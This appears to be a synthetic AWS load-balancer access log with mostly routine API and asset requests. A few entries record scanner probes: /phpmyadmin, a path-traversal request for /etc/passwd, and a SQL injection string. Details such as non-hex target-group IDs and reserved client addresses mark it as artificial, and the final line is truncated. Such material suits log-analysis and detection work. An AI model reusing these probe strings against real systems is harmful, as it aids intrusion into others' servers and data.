+https 2024-11-01T00:56:31.675889Z prod-web-alb 244.206.119.207:46556 10.0.85.192:443 0.024992 0.470391 0.089231 200 200 518 5710 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4cf-faa98d58f0d34037a5471cd3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:56:31.675889Z "forward" "-" "-" "10.0.85.192:443" "200" "-" "-" +https 2024-11-01T00:56:33.405712Z prod-api-alb 193.27.228.87:31503 10.0.232.188:443 0.001906 0.075284 0.013443 401 401 755 9578 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d1-70bc17b274fd46c7b8a20b15" "-" "-" 4 2024-11-01T00:56:33.405712Z "forward" "-" "-" "10.0.232.188:443" "401" "-" "-" +https 2024-11-01T00:56:35.139753Z prod-api-alb 56.176.125.128:45835 10.0.149.24:443 0.020776 0.038488 0.040921 200 200 308 8667 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d3-14eb8e46b66843bdb728b286" "prod-api-alb.example.com" "-" 10 2024-11-01T00:56:35.139753Z "forward" "-" "-" "10.0.149.24:443" "200" "-" "-" +https 2024-11-01T00:56:36.131645Z prod-api-alb 193.27.228.159:64673 10.0.128.73:443 0.019864 0.084098 0.099133 403 403 846 5254 "GET /phpmyadmin HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d4-fca5f83af58f4f8e9e0c77eb" "-" "-" 9 2024-11-01T00:56:36.131645Z "forward" "-" "-" "10.0.128.73:443" "403" "-" "-" +https 2024-11-01T00:56:38.104486Z prod-api-alb 202.73.200.119:61901 10.0.101.176:443 0.078701 0.161031 0.099414 200 200 917 4293 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d6-885ee045607a4a54b910f029" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:38.104486Z "forward" "-" "-" "10.0.101.176:443" "200" "-" "-" +https 2024-11-01T00:56:38.897784Z prod-api-alb 72.176.3.75:45426 10.0.16.63:443 0.069653 0.126928 0.031624 200 200 94 275 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4d6-dc43aaa13bdc4c869109597b" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:38.897784Z "forward" "-" "-" "10.0.16.63:443" "200" "-" "-" +https 2024-11-01T00:56:40.610366Z staging-alb 215.16.30.19:48181 110.244.84.253:8080 0.032872 0.369611 0.107214 200 200 115 11970 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4d8-779d344e44da43228503462b" "staging-alb.example.com" "-" 10 2024-11-01T00:56:40.610366Z "forward" "-" "-" "110.244.84.253:8080" "200" "-" "-" +https 2024-11-01T00:56:41.770204Z staging-alb 64.45.46.61:17537 231.33.94.42:80 0.124519 0.376828 0.077475 200 200 205 368 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4d9-5353824109204d95a02bf334" "staging-alb.example.com" "-" 8 2024-11-01T00:56:41.770204Z "forward" "-" "-" "231.33.94.42:80" "200" "-" "-" +https 2024-11-01T00:56:42.211282Z prod-api-alb 224.200.121.170:41477 10.0.42.149:443 0.073448 0.215838 0.066665 200 200 681 10764 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4da-eaea7aa6e737402a8ff4e6a6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:56:42.211282Z "forward" "-" "-" "10.0.42.149:443" "200" "-" "-" +https 2024-11-01T00:56:43.428888Z prod-web-alb 218.88.184.76:44985 10.0.165.12:443 0.087033 0.472373 0.092316 200 200 188 4952 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4db-dec47b5c3aba43c0b4fc17f3" "prod-web-alb.example.com" "-" 10 2024-11-01T00:56:43.428888Z "forward" "-" "-" "10.0.165.12:443" "200" "-" "-" +https 2024-11-01T00:56:44.266607Z prod-api-alb 94.119.241.140:63812 10.0.227.242:443 0.000739 0.123385 0.029442 200 200 4 13401 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4dc-282e68b5d8794f2a99410bda" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:44.266607Z "forward" "-" "-" "10.0.227.242:443" "200" "-" "-" +https 2024-11-01T00:56:45.007782Z prod-web-alb 217.197.118.237:50994 10.0.62.139:443 0.084665 0.015181 0.026664 404 404 331 3769 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4dd-1368acef4fd24e7ab6c48e77" "prod-web-alb.example.com" "-" 10 2024-11-01T00:56:45.007782Z "forward" "-" "-" "10.0.62.139:443" "404" "-" "-" +https 2024-11-01T00:56:45.307596Z prod-api-alb 76.50.79.126:32871 10.0.81.107:443 0.096919 0.192030 0.092112 301 301 783 6768 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4dd-9ff6b8c04d5b4e0986e9e26d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:56:45.307596Z "forward" "-" "-" "10.0.81.107:443" "301" "-" "-" +https 2024-11-01T00:56:46.280065Z prod-api-alb 235.165.166.19:23979 10.0.171.215:443 0.063888 0.351836 0.012487 200 200 599 11299 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4de-21334f7039784956ba414053" "prod-api-alb.example.com" "-" 5 2024-11-01T00:56:46.280065Z "forward" "-" "-" "10.0.171.215:443" "200" "-" "-" +https 2024-11-01T00:56:46.612072Z prod-web-alb 12.25.196.254:32548 10.0.91.217:443 0.037177 0.323823 0.032968 302 302 370 10788 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4de-b09568140dfa4735b5c30a0f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:56:46.612072Z "forward" "-" "-" "10.0.91.217:443" "302" "-" "-" +https 2024-11-01T00:56:47.743255Z prod-web-alb 71.234.70.121:52844 10.0.177.94:443 0.048318 0.432682 0.007054 404 404 573 12066 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4df-861b500c7a3a4cbfb2ce232b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:47.743255Z "forward" "-" "-" "10.0.177.94:443" "404" "-" "-" +https 2024-11-01T00:56:48.085131Z prod-api-alb 27.225.26.145:38346 10.0.213.249:443 0.027085 0.346992 0.015503 301 301 36 4041 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e0-735d11d7fe05425c990ce977" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:48.085131Z "forward" "-" "-" "10.0.213.249:443" "301" "-" "-" +https 2024-11-01T00:56:50.084105Z prod-api-alb 80.86.55.181:64913 10.0.246.126:443 0.043964 0.226054 0.025035 302 302 644 9002 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4e2-b66d1d8f8cd84d58af0bc2e5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:50.084105Z "forward" "-" "-" "10.0.246.126:443" "302" "-" "-" +http 2024-11-01T00:56:50.376389Z staging-alb 240.92.177.56:60876 208.85.180.186:80 0.038680 0.519061 0.032785 200 200 861 1538 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4e2-7d3e596973ec424eb67bf41a" "staging-alb.example.com" "-" 4 2024-11-01T00:56:50.376389Z "forward" "-" "-" "208.85.180.186:80" "200" "-" "-" +https 2024-11-01T00:56:51.778011Z prod-web-alb 230.170.120.201:52664 10.0.251.126:443 0.055200 0.243308 0.084653 200 200 396 13586 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4e3-ea3c5860864249e78eaf3c1b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:51.778011Z "forward" "-" "-" "10.0.251.126:443" "200" "-" "-" +https 2024-11-01T00:56:52.470320Z prod-api-alb 6.159.159.61:44258 10.0.189.196:443 0.018878 0.067358 0.073097 200 200 649 10847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4e4-43c0bb9a310c4bc991437cfc" "prod-api-alb.example.com" "-" 0 2024-11-01T00:56:52.470320Z "forward" "-" "-" "10.0.189.196:443" "200" "-" "-" +http 2024-11-01T00:56:53.362067Z staging-alb 45.155.205.147:13450 158.24.103.94:80 0.116758 0.434909 0.113827 403 403 753 11331 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4e5-813f406d1d04410e823a2648" "-" "-" 3 2024-11-01T00:56:53.362067Z "forward" "-" "-" "158.24.103.94:80" "403" "-" "-" +https 2024-11-01T00:56:54.570069Z prod-web-alb 96.148.92.209:43245 10.0.16.79:443 0.023460 0.219049 0.092664 200 200 765 727 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4e6-8040a0c6df4647d384d09d94" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:54.570069Z "forward" "-" "-" "10.0.16.79:443" "200" "-" "-" +https 2024-11-01T00:56:55.584713Z prod-api-alb 72.99.214.90:43691 10.0.77.36:443 0.014589 0.206825 0.009250 301 301 784 9575 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e7-2f1ef94058f6416183147619" "prod-api-alb.example.com" "-" 9 2024-11-01T00:56:55.584713Z "forward" "-" "-" "10.0.77.36:443" "301" "-" "-" +https 2024-11-01T00:56:56.628832Z prod-web-alb 176.76.59.64:51962 10.0.76.237:443 0.030631 0.179881 0.009978 301 301 331 1814 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4e8-36a292c0e3354bf69541b6d7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:56.628832Z "forward" "-" "-" "10.0.76.237:443" "301" "-" "-" +https 2024-11-01T00:56:56.767260Z prod-api-alb 197.215.251.17:36168 10.0.243.173:443 0.004964 0.108439 0.023628 200 200 869 13833 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e8-c5ef1b30539e4238ab31967f" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:56.767260Z "forward" "-" "-" "10.0.243.173:443" "200" "-" "-" +http 2024-11-01T00:56:58.434835Z staging-alb 44.143.202.66:23623 144.99.237.177:8080 0.147351 0.291549 0.099816 301 301 409 3220 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ea-433892d8f9b24f90abf824dc" "staging-alb.example.com" "-" 8 2024-11-01T00:56:58.434835Z "forward" "-" "-" "144.99.237.177:8080" "301" "-" "-" +http 2024-11-01T00:56:59.226968Z staging-alb 152.21.53.83:40781 54.26.116.190:8080 0.144666 0.002392 0.081324 200 200 402 13353 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4eb-35bb01f3a4c54ab0b8a64fc7" "staging-alb.example.com" "-" 7 2024-11-01T00:56:59.226968Z "forward" "-" "-" "54.26.116.190:8080" "200" "-" "-" +https 2024-11-01T00:57:00.359005Z prod-api-alb 149.174.1.250:41528 10.0.231.116:443 0.084283 0.464121 0.019545 302 302 519 2312 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4ec-bc35801ae8e441ac919940c1" "prod-api-alb.example.com" "-" 5 2024-11-01T00:57:00.359005Z "forward" "-" "-" "10.0.231.116:443" "302" "-" "-" +https 2024-11-01T00:57:00.630918Z prod-api-alb 208.38.145.77:19362 10.0.19.113:443 0.098462 0.430959 0.013132 404 404 477 13578 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4ec-4c1d4654a21440b381e5269c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:00.630918Z "forward" "-" "-" "10.0.19.113:443" "404" "-" "-" +https 2024-11-01T00:57:01.760879Z staging-alb 185.181.147.41:18475 157.206.50.244:80 0.047905 0.389828 0.098831 500 500 35 14688 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ed-f5bb1e3bfc1d4ade88087f45" "-" "-" 4 2024-11-01T00:57:01.760879Z "forward" "-" "-" "157.206.50.244:80" "500" "-" "-" +https 2024-11-01T00:57:02.162755Z prod-api-alb 38.33.46.182:23540 10.0.15.33:443 0.059540 0.024385 0.058845 200 200 836 822 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ee-08ccb37a9c99495e931d7d16" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:02.162755Z "forward" "-" "-" "10.0.15.33:443" "200" "-" "-" +https 2024-11-01T00:57:03.521636Z prod-web-alb 60.158.167.105:25718 10.0.209.88:443 0.087132 0.256212 0.080231 200 200 632 5672 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ef-627598b3bb8f425f92aef54d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:57:03.521636Z "forward" "-" "-" "10.0.209.88:443" "200" "-" "-" +https 2024-11-01T00:57:04.330297Z prod-api-alb 47.87.13.145:32530 10.0.30.93:443 0.096544 0.141677 0.024457 200 200 347 12573 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4f0-27e74101c7194c3c9de0ac27" "prod-api-alb.example.com" "-" 4 2024-11-01T00:57:04.330297Z "forward" "-" "-" "10.0.30.93:443" "200" "-" "-" +https 2024-11-01T00:57:05.419002Z staging-alb 123.131.64.56:25657 28.122.123.174:443 0.084112 0.183236 0.094173 301 301 60 11893 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4f1-4249ede8a88e4201a1835303" "staging-alb.example.com" "-" 7 2024-11-01T00:57:05.419002Z "forward" "-" "-" "28.122.123.174:443" "301" "-" "-" +https 2024-11-01T00:57:06.550637Z staging-alb 24.174.244.47:17602 183.179.32.123:8080 0.074446 0.146040 0.084950 200 200 524 14073 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4f2-1f7524b5cd7c44cc9ccbacd5" "staging-alb.example.com" "-" 7 2024-11-01T00:57:06.550637Z "forward" "-" "-" "183.179.32.123:8080" "200" "-" "-" +http 2024-11-01T00:57:07.528548Z staging-alb 160.108.85.232:56517 124.227.145.89:443 0.026663 0.716966 0.085341 200 200 996 4752 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f3-2ada8dcef0d64f05b4a1f940" "staging-alb.example.com" "-" 6 2024-11-01T00:57:07.528548Z "forward" "-" "-" "124.227.145.89:443" "200" "-" "-" +https 2024-11-01T00:57:08.946599Z prod-api-alb 136.80.75.245:44704 10.0.216.112:443 0.037189 0.128471 0.095663 200 200 464 13331 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4f4-47935235fcdd4648a2cd0f32" "prod-api-alb.example.com" "-" 2 2024-11-01T00:57:08.946599Z "forward" "-" "-" "10.0.216.112:443" "200" "-" "-" +https 2024-11-01T00:57:10.546962Z staging-alb 156.27.123.25:19287 94.61.166.23:443 0.006140 0.569037 0.039163 200 200 757 3447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f6-0b5d5a442a0d4c14a1a6ab86" "staging-alb.example.com" "-" 5 2024-11-01T00:57:10.546962Z "forward" "-" "-" "94.61.166.23:443" "200" "-" "-" +http 2024-11-01T00:57:11.781971Z staging-alb 210.145.231.28:60984 26.31.214.3:443 0.103264 0.652154 0.048732 302 302 843 2594 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f7-141ddffc8d764fe0b4ac4794" "staging-alb.example.com" "-" 9 2024-11-01T00:57:11.781971Z "forward" "-" "-" "26.31.214.3:443" "302" "-" "-" +https 2024-11-01T00:57:12.944026Z prod-api-alb 210.144.10.56:40189 10.0.159.42:443 0.041219 0.088786 0.078943 302 302 432 1447 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4f8-e0c335c83278496aac980242" "prod-api-alb.example.com" "-" 4 2024-11-01T00:57:12.944026Z "forward" "-" "-" "10.0.159.42:443" "302" "-" "-" +https 2024-11-01T00:57:14.105972Z prod-api-alb 51.20.78.204:34510 10.0.137.209:443 0.042237 0.247278 0.002789 200 200 511 14802 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4fa-02eaf03e7ffa4664b6a32f49" "prod-api-alb.example.com" "-" 5 2024-11-01T00:57:14.105972Z "forward" "-" "-" "10.0.137.209:443" "200" "-" "-" +https 2024-11-01T00:57:14.719748Z staging-alb 203.43.115.66:48004 120.104.119.37:8080 0.067808 0.440633 0.139661 302 302 924 805 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4fa-14723192ddc349fca3a56dce" "staging-alb.example.com" "-" 10 2024-11-01T00:57:14.719748Z "forward" "-" "-" "120.104.119.37:8080" "302" "-" "-" +https 2024-11-01T00:57:16.074404Z staging-alb 168.103.133.1:53810 208.136.164.31:443 0.103874 0.015932 0.046836 200 200 434 1681 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4fc-a43eeaecc2ee4e378d9fe0b6" "staging-alb.example.com" "-" 4 2024-11-01T00:57:16.074404Z "forward" "-" "-" "208.136.164.31:443" "200" "-" "-" +https 2024-11-01T00:57:16.863395Z prod-api-alb 16.199.196.100:35925 10.0.98.79:443 0.013189 0.122111 0.014889 200 200 65 2026 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4fc-bdf1be18a34e46709cf6008a" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:16.863395Z "forward" "-" "-" "10.0.98.79:443" "200" "-" "-" +https 2024-11-01T00:57:17.235891Z prod-api-alb 150.62.207.131:50858 10.0.90.54:443 0.095125 0.318692 0.024963 200 200 517 10471 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4fd-4aad8e872df04857aca05d73" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:17.235891Z "forward" "-" "-" "10.0.90.54:443" "200" "-" "-" +https 2024-11-01T00:57:18.571905Z prod-web-alb 102.134.74.218:46219 10.0.164.63:443 0.010476 0.035562 0.010243 200 200 159 1586 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4fe-e55718e9bfde4363b0bee871" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:18.571905Z "forward" "-" "-" "10.0.164.63:443" "200" "-" "-" +https 2024-11-01T00:57:18.745551Z prod-api-alb 33.12.76.102:37639 10.0.247.145:443 0.096341 0.101540 0.079022 200 200 424 657 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 